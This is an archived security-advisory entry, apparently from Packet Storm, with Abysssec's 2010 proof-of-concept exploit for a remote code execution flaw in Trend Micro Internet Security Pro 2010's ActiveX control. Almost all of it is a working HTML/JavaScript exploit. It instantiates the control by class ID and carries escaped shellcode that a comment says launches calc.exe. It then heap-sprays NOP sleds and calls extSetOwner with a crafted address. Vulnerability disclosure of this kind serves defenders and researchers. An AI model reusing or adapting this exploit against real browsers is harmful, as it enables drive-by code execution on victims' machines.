Month Of Abysssec Undisclosed Bugs - Trend Micro

2010-09-03T00:00:00
ID PACKETSTORM:93480
Type packetstorm
Reporter Abysssec
Modified 2010-09-03T00:00:00

Description

                                        
                                            `<!--  
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| |\/| | | | |/ /\ \| | | | _ < Day 3 (Binary Analysis)  
| | | | |__| / ____ \ |__| | |_) |  
|_| |_|\____/_/ \_\____/|____/  
  
  
Title : Trend Micro Internet Security Pro 2010 ActiveX extSetOwner Remote Code Execution  
Version : UfPBCtrl.DLL 17.50.0.1366 (XP SP3)  
Analysis : http://www.abysssec.com  
Vendor : http://www.trendmicro.com  
Impact : Critical  
Contact : shahin [at] abysssec.com , info [at] abysssec.com  
Twitter : @abysssec  
  
http://www.exploit-db.com/trend-micro-internet-security-pro-2010-activex-extsetowner-remote-code-execution/  
  
SHELLCODE CALC.EXE TESTED ON XPSP3_IE_7  
-->  
<object ID='target' classid='clsid:15DBC3F9-9F0A-472E-8061-043D9CEC52F0'>  
  
</object>  
<script>   
shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+  
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+  
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+  
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+  
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+  
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+  
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+  
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');  
  
nops=unescape('%u9090%u9090');  
headersize =20;  
slackspace= headersize + shellcode.length;  
while(nops.length< slackspace) nops+= nops;  
fillblock= nops.substring(0, slackspace);  
block= nops.substring(0, nops.length- slackspace);  
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;  
memory=new Array();  
for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;   
target.extSetOwner(unescape('%ua5de%u3da6')); //mshtml.dll [0x3DA6A5DE] = 0A0A0A06   
</script>  
  
`